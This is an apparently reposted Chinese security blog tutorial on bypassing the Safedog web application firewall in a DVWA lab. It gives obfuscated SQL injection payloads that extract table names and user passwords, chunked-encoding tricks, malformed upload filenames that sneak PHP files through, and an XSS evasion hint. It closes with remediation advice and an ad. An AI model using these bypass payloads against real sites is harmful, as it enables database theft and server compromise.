2026/4/17 1:50:53
网站建设
项目流程
vue.js做网站,棋牌软件制作开发app公司,有网络但浏览器打不开网页,注册网站流程及费用前言
本文以最新版安全狗为例#xff0c;总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法#xff0c;希望能起到抛砖引玉的效果。如果师傅们有更好的方法#xff0c;烦请不吝赐教。
PS#xff1a;本文仅用于技术研究与讨论#xff0c;严禁用于任何非法用途总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法希望能起到抛砖引玉的效果。如果师傅们有更好的方法烦请不吝赐教。PS本文仅用于技术研究与讨论严禁用于任何非法用途违者后果自负作者与平台不承担任何责任测试环境PHPStudyPHP5.4.45ApacheMySQL5.5.53最新版安全狗4.0.28330靶场使用DVWAhttp://www.dvwa.co.uk/SQL注入判断是否存在注入方法一and 11被拦截单独的and是不拦截的。and后面加数字或者字符的表达式会被匹配拦截。1112的本质是构造一个真、假值我们可以直接用True,False代替但是依然会被拦截。不过and也可以用 代替。我们构造1’ True --就可绕过1’ False --方法二将and 后面的数字或者字符表达式加几个内联注释也可以绕过。内联注释/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行。这些语句在不兼容的数据库中使用时便不会执行如1’ and /*!1*//*!1*/ --1’ and /*!1*//*!2*/ --方法三 分块传输分块传输的原理请自行检索这里不再赘述。分块传输插件https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.2.1正常写测试payload : 1’ and 11 --将请求方式改为POST然后进行分块传输编码可以看到没有被拦截。1’ and 12 --猜解字段数方法一order by被拦截单独的order和单独的by都不会被拦截我们需要在order by之间加各种无效字符。可以将 1’ order /* x x x xxx xxx*/ by 1 -- 放burp里跑各种垃圾参数字典来爆破。经过测试**1’ order/*%%!asd%%%%*/by 3 --**可以成功过狗通过内联注释/*!*/和注释/**/以及一些无效字符也可以绕过需要不断Fuzz尝试1’ /*!order/*!/*/**/by*/ 3 --方法二 分块传输1’ order by 3 --获取当前数据库方法一1’ union select 1,database() -- 被拦截分开测试 union select 会被拦截database() 也会被拦截先绕过union select和之前order by的绕过方法一样1’ union/*%%!asd%%%%*/select 1,2 --再绕过database()经过测试我们发现单独的database不会被拦截加了括号就会了我们将之前的垃圾数据/*%%!asd%%%%*/放到括号了即可成功绕过拼接一下最终的payload为1’ union/*%%!asd%%%%*/select 1,database(/*%%!asd%%%%*/) --方法二 分块传输分块传输依然可以1’ union select 1,database() --获取数据库中的表方法一正常注入语句1’ union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() --根据前面的测试这个绕过就很简单了只需要将一个空格地方替换成**/*%%!asd%%%%*/**即可。Payload1’ union/*%%!asd%%%%*/select 1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schemadatabase(/*%%!asd%%%%*/) --方法二 分块传输获取表中的字段名方法一正常注入语句1’ union select 1,group_concat(column_name) from information_schema.columns where table_name’users’ --绕过方法和获取表的操作无异:1’ union/*%%!asd%%%%*/select 1,group_concat(column_name) /*%%!asd%%%%*/from/*%%!asd%%%%*/information_schema.columns where table_name’users’ --方法二 分块传输获取数据方法一正常注入语句1’ union select group_concat(user),group_concat(password) from users --绕过方法还是一样1’ union/*%%!asd%%%%*/select group_concat(user),group_concat(password) /*%%!asd%%%%*/from/*%%!asd%%%%*/users --方法二 分块传输文件上传安全狗对文件上传的拦截是通过检测文件扩展名来实现的。只要解析结果在禁止上传的文件类型列表中就会被拦截。我们要做的就是构造各种畸形数据包以混淆WAF的检测规则。获取文件名的地方在Content-Disposition和Content-Type所以绕过的地方也主要在这两个地方直接上传PHP文件会被拦截绕过方法1将filename”hhh.php” 改为filenamehhh.php;即可绕过绕过方法2各种换行主要是要把点号和字符串”php”分开绕过方法3将filename”hhh.php” 改为filename”hhh.php”(三个等号也可以绕过)绕过方法4文件名之间放置分号filename”hh;h.php”绕过方法5多个filename”hhh.txt”最后一个filename”hhh.php”XSS查看安全狗的漏洞防护规则可以发现安全狗对XSS的防护是基于黑名单的我们只要fuzz一下哪些标签没有被过滤就好了。有很多标签可以绕过这里举例两种(1) 标签定义声音比如音乐或其他音频流。(2) 标签,data属性alert(‘xss’)的base64编码PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4payload:文件包含通过绝对路径、相对路径稍微加些混淆就能绕过…修复建议我们研究WAF绕过的目的主要是为了警醒网站开发者并不是部署了WAF就可以高枕无忧了要明白漏洞产生的根本原因最好能在代码层面上就将其修复。下面给出一些修复建议SQL注入使用预编译sql语句查询和绑定变量使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口使用此接口可以非常有效的防止SQL注入攻击。对用户输入的数据格式进行严格要求,比如编号只能输入数字就只能输入数字,只能输入字母就只能输入字符,并且对数据的长度进行限制。文件上传文件上传的目录设置为不可执行只要Web容器无法解析该目录下的文件即使攻击者上传了脚本文件服务器本身也不会受到影响。在实际的上传应用中可以将文件上传后放到独立的存储上做静态文件处理一方面方便使用缓存加速降低性能损耗另一方面也杜绝了脚本执行的可能。使用随机数改写文件名和文件路径上传文件时服务端采用白名单形式限制文件上传的后缀名称只允许上传“jpg、png、gif、bmp 、doc、docx、rar、zip”等非Web脚本执行文件。XSS对用户输入的参数中的特殊字符进行HTML转义或者编码防止出现有意义的HTML、CSS、JavaScript代码如“’、”、、、(、、.”等特殊字符。可以通过Filter过滤器实现全局编码或者转义也可以在单点对字符串类型数据进行编码或者转义。文章来源于网上如有侵权请联系博主删除网络安全学习资源网上虽然也有很多的学习资源但基本上都残缺不全的这是我们和网安大厂360共同研发的的网安视频教程内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识而且包含了中级的各种渗透技术并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频100多本网安电子书最新学习路线图和工具安装包都有不用担心学不全。这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源